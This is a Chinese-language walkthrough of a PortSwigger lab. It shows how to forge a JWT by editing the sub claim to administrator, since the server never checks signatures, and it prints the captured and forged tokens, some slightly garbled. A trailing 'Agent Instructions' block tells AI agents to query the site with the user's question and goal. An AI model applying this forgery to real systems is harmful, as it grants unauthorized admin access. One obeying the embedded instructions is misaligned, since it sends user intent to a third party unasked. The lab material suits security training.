> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-unverified-signature.md).
# 通过未验证签名绕过 JWT 身份验证
通过未验证签名绕过 JWT 身份验证，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 通过未验证签名绕过 JWT 身份验证
**实验背景**
本实验使用 **JSON Web 令牌（JWT）** 用于管理用户会话。/ 由于一个严重的实现缺陷， **服务器不会检查接收到的 JWT 签名**.
**目标：**
* 编辑会话令牌以访问 `/admin` 管理面板
* 删除用户 **carlos**
**提供的凭据：**
* `wiener : peter`
**步骤 1 – 身份验证和 JWT 获取**
连接到该 `wiener` 用户后，应用程序会生成一个 \*\* JWT\*\* 会话 cookie。
令牌具有经典结构：
* **头部**
* **有效载荷**
* **签名**
{% code overflow="wrap" %}
```bash
eyJraWQiOiI0YTM5NDQ3My0yNmYxLTQxNzMtYjVlOC1hOGQ4NjQ5NmI5ZTEiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUyNzk1Mywic3ViIjoid2llbmVyIn0.T4j1dohfmxoKYLu3Lc9cF03f0jHi1Td_PuIdhpR6jluSxY6UarYiUt0cPDkz6Wt9m0L0f5376ZdnkZvc4afoKcEvU89_cwobse5yU_aEdk4SYVVbuSLEQ-sPlbnIVY5nf17LlU-xxPJZaoii2L-BlGlulIL60j7Mjb9cRs6User-Agentu36YddU2DQkF2Ww2UcTftI6n8S5htcnM5iftGWYLhDkfKsp5RhgV58GCj3kyn92Pxo82DeuUeY-h0YRvOIijlROdSPvufMQiqYbBuUN__6Jb7ckUs7iXOTB6CwBnE-vQcIqQs549YdTOkWypmIQdmGWyUser-AgentbJaPZHOPJU-XLzHwIcg
```
{% endcode %}
**步骤 2 – JWT 内容分析**
通过解码 JWT，我们看到以下载荷：
```json
{
"iss": "portswigger",
"exp": 1767531263,
"sub": "wiener"
}
```
该 `sub` 字段表示已认证用户的身份。
**步骤 3 – 修改载荷**
由于服务器 **不验证签名**，因此可以自由修改令牌内容。
的值 `sub` 被替换：
```json
{
"iss": "portswigger",
"exp": 1767531263,
"sub": "管理员"
}
```
然后将 JWT **重新构建** （无论签名如何，都不会被验证）。
{% code overflow="wrap" %}
```bash
eyJraWQiOiJjNDllNjY5Mi1iMDZjLTQ0YjEtYmIwOC0zMjM4NmYxNzA2OGMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMTI2Mywic3ViIjoiYWRtaW5pc3RyYXRvciJ9.ZpAuSIEN0Ptww1x0aCihPl520xrSpg8D5EWczPJ66pJZFUBq6X8TkSIYD-4-fY1Z9we38SmWLedBi-yF2w8b_XHeICnYPgTM3xrSrallVNukPQfVW-NaCNu_lozTEgBovijP6lMSyJWFXVwddlVh3ixT5_CZW7hK2jnpqcMdBv6RtXW-9nqlkoS_MF7XruVpKFJS8OB71B1juuh3M2c7YpEjCdMRHTW4FOsx8QOxV11udAyU03-JrIxug-SfwmLHLbMPNyUw6midaP_1AFT6s1vLu066AliuMz-HW1ADnWQea3JInM1EFMaY_9oKCZdJ_EyF5oxmdo5ZBl9xPq2Tcw
```
{% endcode %}
**步骤 4 – 使用伪造的 JWT**
新令牌被注入到浏览器会话 cookie 中。
结果：
* 应用程序将该用户视为 **administrator**
* 可访问 `/admin` 被允许
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-unverified-signature.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)